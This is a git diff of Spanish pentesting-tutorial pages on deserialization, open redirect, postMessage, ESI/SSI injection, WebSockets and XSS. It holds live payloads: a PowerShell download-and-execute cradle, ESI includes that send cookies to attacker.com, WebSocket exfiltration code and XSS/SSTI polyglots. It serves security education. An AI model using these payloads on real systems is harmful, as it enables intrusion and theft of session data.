comandos). +- **`--formatter`**, se utiliza para indicar el método para serializar el exploit (necesitas saber qué biblioteca está utilizando el backend para deserializar la carga útil y usar la misma para serializarla). +- **`--output`** se utiliza para indicar si deseas el exploit en **crudo** o **codificado en base64**. _Ten en cuenta que **ysoserial.net** **codificará** la carga útil usando **UTF-16LE** (codificación utilizada por defecto en Windows), así que si obtienes el crudo y simplemente lo codificas desde una consola de linux, podrías tener algunos **problemas de compatibilidad de codificación** que impedirán que el exploit funcione correctamente (en la caja JSON de HTB, la carga útil funcionó tanto en UTF-16LE como en ASCII, pero esto no significa que siempre funcionará)._ - **`--plugin`** ysoserial.net admite plugins para crear **exploits para marcos específicos** como ViewState. #### Más parámetros de ysoserial.net @@ -679,7 +678,7 @@ echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.44/shell. ysoserial.exe -g ObjectDataProvider -f Json.Net -c "powershell -EncodedCommand SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAMAAuADEAMAAuADEANAAuADQANAAvAHMAaABlAGwAbAAuAHAAcwAxACcAKQA=" -o base64 ``` **ysoserial.net** también tiene un **parámetro muy interesante** que ayuda a entender mejor cómo funciona cada exploit: `--test`\ -Si indicas este parámetro, **ysoserial.net** **intentará** el **exploit localmente,** así podrás probar si tu payload funcionará correctamente.\ +Si indicas este parámetro, **ysoserial.net** **intentará** el **exploit localmente,** así que puedes probar si tu payload funcionará correctamente.\ Este parámetro es útil porque si revisas el código encontrarás fragmentos de código como el siguiente (de [ObjectDataProviderGenerator.cs](https://github.com/pwntester/ysoserial.net/blob/c53bd83a45fb17eae60ecc82f7147b5c04b07e42/ysoserial/Generators/ObjectDataProviderGenerator.cs#L208)): ```java if (inputArgs.Test) @@ -864,7 +863,7 @@ Esta técnica fue tomada [**de esta publicación de blog**](https://github.blog/ Hay otras bibliotecas de Ruby que se pueden usar para serializar objetos y, por lo tanto, que podrían ser abusadas para obtener RCE durante una deserialización insegura. La siguiente tabla muestra algunas de estas bibliotecas y el método que llaman de la biblioteca cargada cada vez que se deserializan (función para abusar para obtener RCE básicamente): -
BibliotecaDatos de entradaMétodo de inicio dentro de la clase
Marshal (Ruby)Binario_load
OjJSONhash (la clase debe ser puesta en hash(mapa) como clave)
OxXMLhash (la clase debe ser puesta en hash(mapa) como clave)
Psych (Ruby)YAMLhash (la clase debe ser puesta en hash(mapa) como clave)
init_with
JSON (Ruby)JSONjson_create ([ver notas sobre json_create al final](#table-vulnerable-sinks))
+
BibliotecaDatos de entradaMétodo de inicio dentro de la clase
Marshal (Ruby)Binario_load
OjJSONhash (la clase debe ser puesta en hash(map) como clave)
OxXMLhash (la clase debe ser puesta en hash(map) como clave)
Psych (Ruby)YAMLhash (la clase debe ser puesta en hash(map) como clave)
init_with
JSON (Ruby)JSONjson_create ([ver notas sobre json_create al final](#table-vulnerable-sinks))
Ejemplo básico: ```ruby diff --git a/src/pentesting-web/open-redirect.md b/src/pentesting-web/open-redirect.md index 93bbe6f93..ac70b99af 100644 --- a/src/pentesting-web/open-redirect.md +++ b/src/pentesting-web/open-redirect.md @@ -5,7 +5,7 @@ ## Open redirect -### Redirigir a localhost o dominios arbitrarios +### Redirección a localhost o dominios arbitrarios {{#ref}} ssrf-server-side-request-forgery/url-format-bypass.md @@ -57,8 +57,8 @@ javascript://whitelisted.com?%a0alert%281%29 /x:1/:///%01javascript:alert(document.cookie)/ ";alert(0);// ``` -## Open Redirect subiendo archivos svg -```markup +## Redirección Abierta subiendo archivos svg +```html ``` -## Herramientas +## Tools - [https://github.com/0xNanda/Oralyzer](https://github.com/0xNanda/Oralyzer) diff --git a/src/pentesting-web/pocs-and-polygloths-cheatsheet/README.md b/src/pentesting-web/pocs-and-polygloths-cheatsheet/README.md index c0cccd867..ccb3a077b 100644 --- a/src/pentesting-web/pocs-and-polygloths-cheatsheet/README.md +++ b/src/pentesting-web/pocs-and-polygloths-cheatsheet/README.md @@ -1,16 +1,16 @@ -# Técnicas de Reflexión - PoCs y CheatSheet de Polygloths +# Reflecting Techniques - PoCs and Polygloths CheatSheet {{#include ../../banners/hacktricks-training.md}} El objetivo de estos PoCs y Polygloths es proporcionar al tester un **resumen** rápido de las vulnerabilidades que puede explotar si su **entrada se refleja de alguna manera en la respuesta**. > [!WARNING] -> Esta **cheat sheet no propone una lista exhaustiva de pruebas para cada vulnerabilidad**, solo algunas básicas. Si buscas pruebas más completas, accede a cada vulnerabilidad propuesta. +> Esta **hoja de trucos no propone una lista exhaustiva de pruebas para cada vulnerabilidad**, solo algunas básicas. Si buscas pruebas más completas, accede a cada vulnerabilidad propuesta. > [!CAUTION] -> No **encontrarás inyecciones dependientes de Content-Type como XXE**, ya que normalmente intentarás esas tú mismo si encuentras una solicitud que envía datos xml. Tampoco **encontrarás inyecciones de base de datos** aquí, ya que aunque algún contenido podría ser reflejado, depende en gran medida de la tecnología y estructura de la base de datos del backend. +> No **encontrarás inyecciones dependientes del Content-Type como XXE**, ya que normalmente intentarás esas tú mismo si encuentras una solicitud que envía datos xml. Tampoco **encontrarás inyecciones de base de datos** aquí, ya que aunque algún contenido podría reflejarse, depende en gran medida de la tecnología y estructura de la base de datos del backend. -## Lista de Polygloths +## Polygloths list ```python {{7*7}}[7*7] 1;sleep${IFS}9;#${IFS}';sleep${IFS}9;#${IFS}";sleep${IFS}9;#${IFS} @@ -46,11 +46,11 @@ javascript:alert(1) javascript:alert() javascript:"/*'/*`/*--> -->'"/>
-">>
" ><script>prompt(1)</script>@gmail.com<isindex formaction=javascript:alert(/XSS/) type=submit>'-->" ></script><script>alert(1)</script>"><img/id="confirm( 1)"/alt="/"src="/"onerror=eval(id&%23x29;>'"><img src="http: //i.imgur.com/P8mL8.jpg"> +">><marquee><img src=x onerror=confirm(1)></marquee>" ></plaintext\></|\><plaintext/onmouseover=prompt(1) ><script>prompt(1)</script>@gmail.com<isindex formaction=javascript:alert(/XSS/index.html) type=submit>'-->" ></script><script>alert(1)</script>"><img/id="confirm( 1)"/alt="/"src="/"onerror=eval(id&%23x29;>'"><img src="http: //i.imgur.com/P8mL8.jpg"> " onclick=alert(1)//<button ‘ onclick=alert(1)//> */ alert(1)// ';alert(String.fromCharCode(88,83,83))//';alert(String. fromCharCode(88,83,83))//";alert(String.fromCharCode (88,83,83))//";alert(String.fromCharCode(88,83,83))//-- ></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83)) </SCRIPT> ``` -## [Client Side Template Injection](../client-side-template-injection-csti.md) +## [Inyección de Plantillas del Lado del Cliente](../client-side-template-injection-csti.md) ### Pruebas Básicas ``` @@ -91,10 +91,10 @@ $(ls) ## Marcado Colgante ### Pruebas Básicas -```markup +```html <br><b><h1>THIS IS AND INJECTED TITLE </h1> ``` -## [Inclusión de Archivos/Recorrido de Rutas](../file-inclusion/) +## [Inclusión de Archivos/Recorrido de Rutas](../file-inclusion/index.html) ### Pruebas Básicas ```bash @@ -109,7 +109,7 @@ C:/windows/system32/drivers/etc/hosts http://asdasdasdasd.burpcollab.com/mal.php \\asdasdasdasd.burpcollab.com/mal.php ``` -## [Open Redirect](../open-redirect.md) / [Server Side Request Forgery](../ssrf-server-side-request-forgery/) +## [Open Redirect](../open-redirect.md) / [Server Side Request Forgery](../ssrf-server-side-request-forgery/index.html) ### Pruebas Básicas ```bash @@ -130,24 +130,24 @@ javascript:alert(1) ## [Inclusión del lado del servidor/Inyección del lado del borde](../server-side-inclusion-edge-side-inclusion-injection.md) ### Pruebas básicas -```markup +```html <!--#echo var="DATE_LOCAL" --> <!--#exec cmd="ls" --> <esi:include src=http://attacker.com/> x=<esi:assign name="var1" value="'cript'"/><s<esi:vars name="$(var1)"/>>alert(/Chrome%20XSS%20filter%20bypass/);</s<esi:vars name="$(var1)"/>> ``` ### Políglotas -```markup +```html <!--#echo var="DATE_LOCAL" --><!--#exec cmd="ls" --><esi:include src=http://attacker.com/>x=<esi:assign name="var1" value="'cript'"/><s<esi:vars name="$(var1)"/>>alert(/Chrome%20XSS%20filter%20bypass/);</s<esi:vars name="$(var1)"/>> ``` -## [Server Side Request Forgery](../ssrf-server-side-request-forgery/) +## [Server Side Request Forgery](../ssrf-server-side-request-forgery/index.html) Las mismas pruebas utilizadas para Open Redirect se pueden usar aquí. -## [Server Side Template Injection](../ssti-server-side-template-injection/) +## [Server Side Template Injection](../ssti-server-side-template-injection/index.html) ### Pruebas Básicas -```markup +```html ${{<%[%'"}}%\ {{7*7}} ${7*7} @@ -162,28 +162,28 @@ ${{7*7}} ## [Inyección del lado del servidor XSLT](../xslt-server-side-injection-extensible-stylesheet-language-transformations.md) ### Pruebas básicas -```markup +```html <xsl:value-of select="system-property('xsl:version')" /> <esi:include src="http://10.10.10.10/data/news.xml" stylesheet="http://10.10.10.10//news_template.xsl"></esi:include> ``` ### Políglotas -```markup +```html <xsl:value-of select="system-property('xsl:version')" /><esi:include src="http://10.10.10.10/data/news.xml" stylesheet="http://10.10.10.10//news_template.xsl"></esi:include> ``` ## XSS ### Pruebas Básicas -```markup +```html " onclick=alert() a=" '"><img src=x onerror=alert(1) /> javascript:alert() ``` ### Políglotas -```markup +```html javascript:"/*'/*`/*--></noscript></title></textarea></style></template></noembed></script><html \" onmouseover=/*&lt;svg/*/onload=alert()//> -->'"/></sCript><deTailS open x=">" ontoggle=(co\u006efirm)``> jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0D%0A//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e -">><marquee><img src=x onerror=confirm(1)></marquee>" ></plaintext\></|\><plaintext/onmouseover=prompt(1) ><script>prompt(1)</script>@gmail.com<isindex formaction=javascript:alert(/XSS/) type=submit>'-->" ></script><script>alert(1)</script>"><img/id="confirm( 1)"/alt="/"src="/"onerror=eval(id&%23x29;>'"><img src="http: //i.imgur.com/P8mL8.jpg"> +">><marquee><img src=x onerror=confirm(1)></marquee>" ></plaintext\></|\><plaintext/onmouseover=prompt(1) ><script>prompt(1)</script>@gmail.com<isindex formaction=javascript:alert(/XSS/index.html) type=submit>'-->" ></script><script>alert(1)</script>"><img/id="confirm( 1)"/alt="/"src="/"onerror=eval(id&%23x29;>'"><img src="http: //i.imgur.com/P8mL8.jpg"> " onclick=alert(1)//<button ‘ onclick=alert(1)//> */ alert(1)// ';alert(String.fromCharCode(88,83,83))//';alert(String. fromCharCode(88,83,83))//";alert(String.fromCharCode (88,83,83))//";alert(String.fromCharCode(88,83,83))//-- ></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83)) </SCRIPT> javascript://'/</title></style></textarea></script>--><p" onclick=alert()//>*/alert()/* diff --git a/src/pentesting-web/postmessage-vulnerabilities/README.md b/src/pentesting-web/postmessage-vulnerabilities/README.md index d81456f88..77c2e7cc6 100644 --- a/src/pentesting-web/postmessage-vulnerabilities/README.md +++ b/src/pentesting-web/postmessage-vulnerabilities/README.md @@ -34,13 +34,13 @@ win[0].postMessage('{"__proto__":{"isAdmin":True}}', '*') ``` Note que **targetOrigin** puede ser un '\*' o una URL como _https://company.com._\ En el **segundo escenario**, el **mensaje solo puede ser enviado a ese dominio** (incluso si el origen del objeto window es diferente).\ -Si se utiliza el **comodín**, **los mensajes podrían ser enviados a cualquier dominio**, y se enviarán al origen del objeto Window. +Si se utiliza el **comodín**, los **mensajes podrían ser enviados a cualquier dominio**, y se enviarán al origen del objeto Window. ### Ataque a iframe y comodín en **targetOrigin** -Como se explica en [**este informe**](https://blog.geekycat.in/google-vrp-hijacking-your-screenshots/), si encuentras una página que puede ser **iframed** (sin protección `X-Frame-Header`) y que está **enviando mensajes sensibles** a través de **postMessage** utilizando un **comodín** (\*), puedes **modificar** el **origen** del **iframe** y **filtrar** el **mensaje sensible** a un dominio controlado por ti.\ +Como se explica en [**este informe**](https://blog.geekycat.in/google-vrp-hijacking-your-screenshots/), si encuentras una página que puede ser **iframed** (sin protección `X-Frame-Header`) y que está **enviando mensajes sensibles** a través de **postMessage** usando un **comodín** (\*), puedes **modificar** el **origen** del **iframe** y **filtrar** el **mensaje sensible** a un dominio controlado por ti.\ Ten en cuenta que si la página puede ser iframed pero el **targetOrigin** está **configurado a una URL y no a un comodín**, este **truco no funcionará**. -```markup +```html <html> <iframe src="https://docs.google.com/document/ID" /> <script> @@ -69,7 +69,7 @@ if (event.origin !== "http://example.org:8080") return false ) ``` -Nota en este caso cómo la **primera cosa** que el código está haciendo es **verificando el origen**. Esto es terriblemente **importante** principalmente si la página va a hacer **algo sensible** con la información recibida (como cambiar una contraseña). **Si no verifica el origen, los atacantes pueden hacer que las víctimas envíen datos arbitrarios a estos endpoints** y cambiar las contraseñas de las víctimas (en este ejemplo). +Nota en este caso cómo lo **primero** que hace el código es **verificar el origen**. Esto es terriblemente **importante** principalmente si la página va a hacer **algo sensible** con la información recibida (como cambiar una contraseña). **Si no verifica el origen, los atacantes pueden hacer que las víctimas envíen datos arbitrarios a estos endpoints** y cambiar las contraseñas de las víctimas (en este ejemplo). ### Enumeración @@ -113,7 +113,7 @@ message: "'\"<b>\\", result.message // "&#39;&quot;&lt;b&gt;\" ``` -- Eludiendo el escape: +- Eludir el escape: ```javascript result = u(new Error("'\"<b>\\")) @@ -128,7 +128,7 @@ En el contexto de esta vulnerabilidad, el objeto `File` es notablemente explotab Al incrustar una página web dentro de un **iframe sandboxed** usando %%%%%%, es crucial entender que el origen del iframe se establecerá en null. Esto es particularmente importante al tratar con **atributos sandbox** y sus implicaciones en la seguridad y funcionalidad. -Al especificar **`allow-popups`** en el atributo sandbox, cualquier ventana emergente abierta desde dentro del iframe hereda las restricciones sandbox de su padre. Esto significa que a menos que el atributo **`allow-popups-to-escape-sandbox`** también esté incluido, el origen de la ventana emergente se establece de manera similar en `null`, alineándose con el origen del iframe. +Al especificar **`allow-popups`** en el atributo sandbox, cualquier ventana emergente abierta desde dentro del iframe hereda las restricciones sandbox de su padre. Esto significa que a menos que también se incluya el atributo **`allow-popups-to-escape-sandbox`**, el origen de la ventana emergente también se establece en `null`, alineándose con el origen del iframe. En consecuencia, cuando se abre una ventana emergente bajo estas condiciones y se envía un mensaje desde el iframe a la ventana emergente usando **`postMessage`**, ambos extremos, el de envío y el de recepción, tienen sus orígenes establecidos en `null`. Esta situación lleva a un escenario donde **`e.origin == window.origin`** evalúa como verdadero (`null == null`), porque tanto el iframe como la ventana emergente comparten el mismo valor de origen de `null`. @@ -138,7 +138,7 @@ Para más información **lee**: bypassing-sop-with-iframes-1.md {{#endref}} -### Eludiendo e.source +### Eludir e.source Es posible verificar si el mensaje provino de la misma ventana en la que el script está escuchando (especialmente interesante para **Content Scripts de extensiones de navegador** para verificar si el mensaje fue enviado desde la misma página): ```javascript @@ -159,7 +159,7 @@ bypassing-sop-with-iframes-2.md Para realizar estos ataques, idealmente podrás **poner la página web de la víctima** dentro de un `iframe`. Pero algunos encabezados como `X-Frame-Header` pueden **prevenir** ese **comportamiento**.\ En esos escenarios, aún puedes usar un ataque menos sigiloso. Puedes abrir una nueva pestaña a la aplicación web vulnerable y comunicarte con ella: -```markup +```html <script> var w=window.open("<url>") setTimeout(function(){w.postMessage('text here','*');}, 2000); @@ -167,7 +167,7 @@ setTimeout(function(){w.postMessage('text here','*');}, 2000); ``` ### Robando mensajes enviados al hijo bloqueando la página principal -En la siguiente página puedes ver cómo podrías robar un **sensible postmessage data** enviado a un **child iframe** al **bloquear** la **página** **principal** antes de enviar los datos y abusar de un **XSS en el hijo** para **leak the data** antes de que sea recibido: +En la siguiente página puedes ver cómo podrías robar un **sensitive postmessage data** enviado a un **child iframe** al **bloquear** la página **principal** antes de enviar los datos y abusar de un **XSS en el hijo** para **leak the data** antes de que sea recibido: {{#ref}} blocking-main-page-to-steal-postmessage.md @@ -214,9 +214,9 @@ setTimeout(get_code, 2000) ``` Para **más información**: -- Enlace a la página sobre [**contaminación de prototipos**](../deserialization/nodejs-proto-prototype-pollution/) -- Enlace a la página sobre [**XSS**](../xss-cross-site-scripting/) -- Enlace a la página sobre [**contaminación de prototipos del lado del cliente a XSS**](../deserialization/nodejs-proto-prototype-pollution/#client-side-prototype-pollution-to-xss) +- Enlace a la página sobre [**contaminación de prototipos**](../deserialization/nodejs-proto-prototype-pollution/index.html) +- Enlace a la página sobre [**XSS**](../xss-cross-site-scripting/index.html) +- Enlace a la página sobre [**contaminación de prototipos del lado del cliente a XSS**](../deserialization/nodejs-proto-prototype-pollution/index.html#client-side-prototype-pollution-to-xss) ## Referencias diff --git a/src/pentesting-web/reverse-tab-nabbing.md b/src/pentesting-web/reverse-tab-nabbing.md index cc1871f83..c3f499a59 100644 --- a/src/pentesting-web/reverse-tab-nabbing.md +++ b/src/pentesting-web/reverse-tab-nabbing.md @@ -5,7 +5,7 @@ En una situación donde un **atacante** puede **controlar** el argumento **`href`** de una etiqueta **`<a`** con el atributo **`target="_blank" rel="opener"`** que va a ser clickeada por una víctima, el **atacante** **apunta** este **enlace** a una web bajo su control (un **sitio web** **malicioso**). Luego, una vez que la **víctima hace clic** en el enlace y accede al sitio web del atacante, este **sitio web** **malicioso** podrá **controlar** la **página** **original** a través del objeto javascript **`window.opener`**.\ Si la página no tiene **`rel="opener"` pero contiene `target="_blank"` y tampoco tiene `rel="noopener"`**, también podría ser vulnerable. -Una forma habitual de abusar de este comportamiento sería **cambiar la ubicación de la web original** a través de `window.opener.location = https://attacker.com/victim.html` a una web controlada por el atacante que **se parezca a la original**, para que pueda **imitar** el **formulario** de **inicio de sesión** del sitio web original y solicitar credenciales al usuario. +Una forma habitual de abusar de este comportamiento sería **cambiar la ubicación de la web original** a través de `window.opener.location = https://attacker.com/victim.html` a una web controlada por el atacante que **se parece a la original**, para que pueda **imitar** el **formulario** de **inicio de sesión** del sitio web original y solicitar credenciales al usuario. Sin embargo, ten en cuenta que como el **atacante ahora puede controlar el objeto window del sitio web original**, puede abusar de ello de otras maneras para realizar **ataques más sigilosos** (¿quizás modificando eventos de javascript para exfiltrar información a un servidor controlado por él?) @@ -27,7 +27,7 @@ Enlace entre páginas padre e hijo cuando se utiliza el atributo de prevención: Crea las siguientes páginas en una carpeta y ejecuta un servidor web con `python3 -m http.server`\ Luego, **accede** a `http://127.0.0.1:8000/`vulnerable.html, **haz clic** en el enlace y nota cómo la **URL** del **sitio web** **original** **cambia**. -```markup:vulnerable.html +```html:vulnerable.html <!DOCTYPE html> <html> <body> @@ -37,7 +37,7 @@ Luego, **accede** a `http://127.0.0.1:8000/`vulnerable.html, **haz clic** en el </html> ``` -```markup:malicious.html +```html:malicious.html <!DOCTYPE html> <html> <body> @@ -48,7 +48,7 @@ window.opener.location = "http://127.0.0.1:8000/malicious_redir.html"; </html> ``` -```markup:malicious_redir.html +```html:malicious_redir.html <!DOCTYPE html> <html> <body> diff --git a/src/pentesting-web/server-side-inclusion-edge-side-inclusion-injection.md b/src/pentesting-web/server-side-inclusion-edge-side-inclusion-injection.md index caae8ee6b..7ae39b0c1 100644 --- a/src/pentesting-web/server-side-inclusion-edge-side-inclusion-injection.md +++ b/src/pentesting-web/server-side-inclusion-edge-side-inclusion-injection.md @@ -2,7 +2,7 @@ {{#include ../banners/hacktricks-training.md}} -## Server Side Inclusion Información Básica +## Información Básica sobre Server Side Inclusion **(Introducción tomada de** [**Apache docs**](https://httpd.apache.org/docs/current/howto/ssi.html)**)** @@ -11,11 +11,11 @@ Por ejemplo, podrías colocar una directiva en una página HTML existente, como: `<!--#echo var="DATE_LOCAL" -->` -Y, cuando se sirve la página, este fragmento será evaluado y reemplazado por su valor: +Y, cuando se sirva la página, este fragmento será evaluado y reemplazado por su valor: `Tuesday, 15-Jan-2013 19:28:54 EST` -La decisión de cuándo usar SSI y cuándo hacer que tu página sea completamente generada por algún programa, generalmente depende de cuánto de la página es estático y cuánto necesita ser recalculado cada vez que se sirve la página. SSI es una excelente manera de agregar pequeños fragmentos de información, como la hora actual - mostrada arriba. Pero si la mayoría de tu página se genera en el momento en que se sirve, necesitas buscar alguna otra solución. +La decisión de cuándo usar SSI y cuándo hacer que tu página sea completamente generada por algún programa, generalmente depende de cuánto de la página es estático y cuánto necesita ser recalculado cada vez que se sirve la página. SSI es una excelente manera de agregar pequeñas piezas de información, como la hora actual - mostrada arriba. Pero si la mayoría de tu página se genera en el momento en que se sirve, necesitas buscar alguna otra solución. Puedes inferir la presencia de SSI si la aplicación web utiliza archivos con las extensiones **`.shtml`, `.shtm` o `.stm`**, pero no es solo el caso. @@ -57,11 +57,7 @@ Una expresión típica de SSI tiene el siguiente formato: ## Edge Side Inclusion Hay un problema **con el almacenamiento en caché de información o aplicaciones dinámicas** ya que parte del contenido puede haber **variado** para la próxima vez que se recupere el contenido. Esto es para lo que se utiliza **ESI**, para indicar utilizando etiquetas ESI el **contenido dinámico que necesita ser generado** antes de enviar la versión en caché.\ -Si un **atacante** es capaz de **inyectar una etiqueta ESI** dentro del contenido en caché, entonces podría ser capaz de **inyectar contenido arbitrario** en el documento antes de que se envíe a los usuarios. - -### Detección de ESI - -El siguiente **encabezado** en una respuesta del servidor significa que el servidor está utilizando ESI: +Si un **atacante** es capaz de **inyectar una etiqueta ESI** dentro del contenido en caché, entonces podría ser capaz de **inyectar contenido arbitrario** en el documento antes ``` Surrogate-Control: content="ESI/1.0" ``` @@ -95,16 +91,16 @@ hell<!--esi-->o - **Vars**: Soporta la directiva `<esi:vars>`. Útil para eludir filtros XSS - **Cookie**: Las cookies del documento son accesibles para el motor ESI - **Encabezados de upstream requeridos**: Las aplicaciones de sustitución no procesarán las declaraciones ESI a menos que la aplicación de upstream proporcione los encabezados -- **Lista blanca de hosts**: En este caso, los includes de ESI solo son posibles desde hosts de servidor permitidos, haciendo que SSRF, por ejemplo, solo sea posible contra esos hosts +- **Lista blanca de hosts**: En este caso, las inclusiones ESI solo son posibles desde hosts de servidor permitidos, haciendo que SSRF, por ejemplo, solo sea posible contra esos hosts | **Software** | **Includes** | **Vars** | **Cookies** | **Encabezados de upstream requeridos** | **Lista blanca de hosts** | | :--------------------------: | :----------: | :------: | :---------: | :-----------------------------------: | :-----------------------: | -| Squid3 | Sí | Sí | Sí | Sí | No | -| Varnish Cache | Sí | No | No | Sí | Sí | -| Fastly | Sí | No | No | No | Sí | -| Akamai ESI Test Server (ETS) | Sí | Sí | Sí | No | No | -| NodeJS esi | Sí | Sí | Sí | No | No | -| NodeJS nodesi | Sí | No | No | No | Opcional | +| Squid3 | Sí | Sí | Sí | Sí | No | +| Varnish Cache | Sí | No | No | Sí | Sí | +| Fastly | Sí | No | No | No | Sí | +| Akamai ESI Test Server (ETS) | Sí | Sí | Sí | No | No | +| NodeJS esi | Sí | Sí | Sí | No | No | +| NodeJS nodesi | Sí | No | No | No | Opcional | #### XSS @@ -112,7 +108,7 @@ La siguiente directiva ESI cargará un archivo arbitrario dentro de la respuesta ```xml <esi:include src=http://attacker.com/xss.html> ``` -#### Eludir la protección XSS del cliente +#### Bypass client XSS protection ```xml x=<esi:assign name="var1" value="'cript'"/><s<esi:vars name="$(var1)"/>>alert(/Chrome%20XSS%20filter%20bypass/);</s<esi:vars name="$(var1)"/>> @@ -122,7 +118,7 @@ Use <!--esi--> to bypass WAFs: ``` #### Robar Cookie -- Robar cookie de forma remota +- Robo de cookie remoto ```xml <esi:include src=http://attacker.com/$(HTTP_COOKIE)> <esi:include src="http://attacker.com/?cookie=$(HTTP_COOKIE{'JSESSIONID'})" /> @@ -139,11 +135,11 @@ Use <!--esi--> to bypass WAFs: #### Archivo Local Privado No confunda esto con una "Inclusión de Archivo Local": -```markup +```html <esi:include src="secret.txt"> ``` #### CRLF -```markup +```html <esi:include src="http://anything.com%0d%0aX-Forwarded-For:%20127.0.0.1%0d%0aJunkHeader:%20JunkValue/"/> ``` #### Redirección Abierta @@ -154,7 +150,7 @@ Lo siguiente añadirá un encabezado `Location` a la respuesta ``` #### Agregar encabezado -- Agregar encabezado en la solicitud forzada +- Agregar encabezado en solicitud forzada ```xml <esi:include src="http://example.com/asdasd"> <esi:request_header name="User-Agent" value="12345"/> diff --git a/src/pentesting-web/websocket-attacks.md b/src/pentesting-web/websocket-attacks.md index a938963e7..7318dcd56 100644 --- a/src/pentesting-web/websocket-attacks.md +++ b/src/pentesting-web/websocket-attacks.md @@ -8,7 +8,7 @@ Las conexiones WebSocket se establecen a través de un **handshake HTTP** inicia ### Establecimiento de Conexiones WebSocket -Una explicación detallada sobre el establecimiento de conexiones WebSocket se puede acceder [**aquí**](https://infosecwriteups.com/cross-site-websocket-hijacking-cswsh-ce2a6b0747fc). En resumen, las conexiones WebSocket suelen ser iniciadas a través de JavaScript del lado del cliente como se muestra a continuación: +Una explicación detallada sobre el establecimiento de conexiones WebSocket se puede acceder [**aquí**](https://infosecwriteups.com/cross-site-websocket-hijacking-cswsh-ce2a6b0747fc). En resumen, las conexiones WebSocket suelen ser iniciadas a través de JavaScript del lado del cliente, como se muestra a continuación: ```javascript var ws = new WebSocket("wss://normal-website.com/ws") ``` @@ -89,7 +89,7 @@ Los atacantes pueden explotar esto al alojar una **página web maliciosa** que i Ten en cuenta que al **establecer** una conexión de **websocket**, la **cookie** es **enviada** al servidor. El **servidor** podría estar usándola para **relacionar** a cada **usuario específico** con su **sesión de websocket** basada en la cookie enviada. Entonces, si por **ejemplo** el **servidor de websocket** **devuelve el historial de la conversación** de un usuario si se envía un mensaje con "**READY"**, entonces un **XSS simple** estableciendo la conexión (la **cookie** será **enviada** **automáticamente** para autorizar al usuario víctima) **enviando** "**READY**" podrá **recuperar** el historial de la **conversación**. -```markup +```html <script> websocket = new WebSocket('wss://your-websocket-URL') websocket.onopen = start @@ -105,11 +105,11 @@ fetch('https://your-collaborator-domain/?'+event.data, {mode: 'no-cors'}) ``` ### Cross Origin + Cookie con un subdominio diferente -En esta publicación de blog [https://snyk.io/blog/gitpod-remote-code-execution-vulnerability-websockets/](https://snyk.io/blog/gitpod-remote-code-execution-vulnerability-websockets/) el atacante logró **ejecutar Javascript arbitrario en un subdominio** del dominio donde estaba ocurriendo la comunicación por websocket. Debido a que era un **subdominio**, la **cookie** estaba siendo **enviada**, y como el **Websocket no verificó correctamente el Origin**, fue posible comunicarse con él y **robar tokens de él**. +En esta publicación de blog [https://snyk.io/blog/gitpod-remote-code-execution-vulnerability-websockets/](https://snyk.io/blog/gitpod-remote-code-execution-vulnerability-websockets/), el atacante logró **ejecutar Javascript arbitrario en un subdominio** del dominio donde estaba ocurriendo la comunicación por web socket. Debido a que era un **subdominio**, la **cookie** estaba siendo **enviada**, y como el **Websocket no verificó correctamente el Origin**, fue posible comunicarse con él y **robar tokens de él**. ### Robando datos del usuario -Copia la aplicación web que deseas suplantar (los archivos .html por ejemplo) y dentro del script donde está ocurriendo la comunicación por websocket agrega este código: +Copia la aplicación web que deseas suplantar (los archivos .html, por ejemplo) y dentro del script donde está ocurriendo la comunicación por websocket agrega este código: ```javascript //This is the script tag to load the websocket hooker ;<script src="wsHook.js"></script> diff --git a/src/pentesting-web/xss-cross-site-scripting/README.md b/src/pentesting-web/xss-cross-site-scripting/README.md index 9666900af..3b6546d05 100644 --- a/src/pentesting-web/xss-cross-site-scripting/README.md +++ b/src/pentesting-web/xss-cross-site-scripting/README.md @@ -2,8 +2,8 @@ ## Metodología -1. Verifica si **cualquier valor que controlas** (_parámetros_, _ruta_, _encabezados_?, _cookies_?) está siendo **reflejado** en el HTML o **usado** por código **JS**. -2. **Encuentra el contexto** donde se refleja/se usa. +1. Verifica si **cualquier valor que controlas** (_parámetros_, _ruta_, _encabezados_?, _cookies_?) está siendo **reflejado** en el HTML o **utilizado** por código **JS**. +2. **Encuentra el contexto** donde se refleja/utiliza. 3. Si está **reflejado** 1. Verifica **qué símbolos puedes usar** y dependiendo de eso, prepara la carga útil: 1. En **HTML crudo**: @@ -13,7 +13,7 @@ 4. ¿El contenido HTML está siendo interpretado por algún motor JS del lado del cliente (_AngularJS_, _VueJS_, _Mavo_...), podrías abusar de una [**Inyección de Plantilla del Lado del Cliente**](../client-side-template-injection-csti.md). 5. Si no puedes crear etiquetas HTML que ejecuten código JS, ¿podrías abusar de una [**Inyección de Marcado Colgante - HTML sin script**](../dangling-markup-html-scriptless-injection/index.html)? 2. Dentro de una **etiqueta HTML**: -1. ¿Puedes salir al contexto de HTML crudo? +1. ¿Puedes salir al contexto HTML crudo? 2. ¿Puedes crear nuevos eventos/atributos para ejecutar código JS? 3. ¿El atributo donde estás atrapado soporta la ejecución de JS? 4. ¿Puedes eludir protecciones? @@ -23,9 +23,9 @@ 3. ¿Tu entrada está en literales de plantilla \`\`? 4. ¿Puedes eludir protecciones? 4. Función de Javascript **siendo ejecutada** -1. Puedes indicar el nombre de la función a ejecutar. p.ej.: `?callback=alert(1)` -4. Si está **usado**: -1. Podrías explotar un **DOM XSS**, presta atención a cómo se controla tu entrada y si tu **entrada controlada es usada por algún sink.** +1. Puedes indicar el nombre de la función a ejecutar. ej.: `?callback=alert(1)` +4. Si está **utilizado**: +1. Podrías explotar un **DOM XSS**, presta atención a cómo se controla tu entrada y si tu **entrada controlada es utilizada por algún sink.** Cuando trabajes en un XSS complejo, podría ser interesante saber sobre: @@ -48,7 +48,7 @@ Al intentar explotar un XSS, lo primero que necesitas saber es **dónde se está ### HTML crudo Si tu entrada está **reflejada en el HTML crudo** de la página, necesitarás abusar de alguna **etiqueta HTML** para ejecutar código JS: `<img , <iframe , <svg , <script` ... estas son solo algunas de las muchas etiquetas HTML posibles que podrías usar.\ -Además, ten en cuenta la 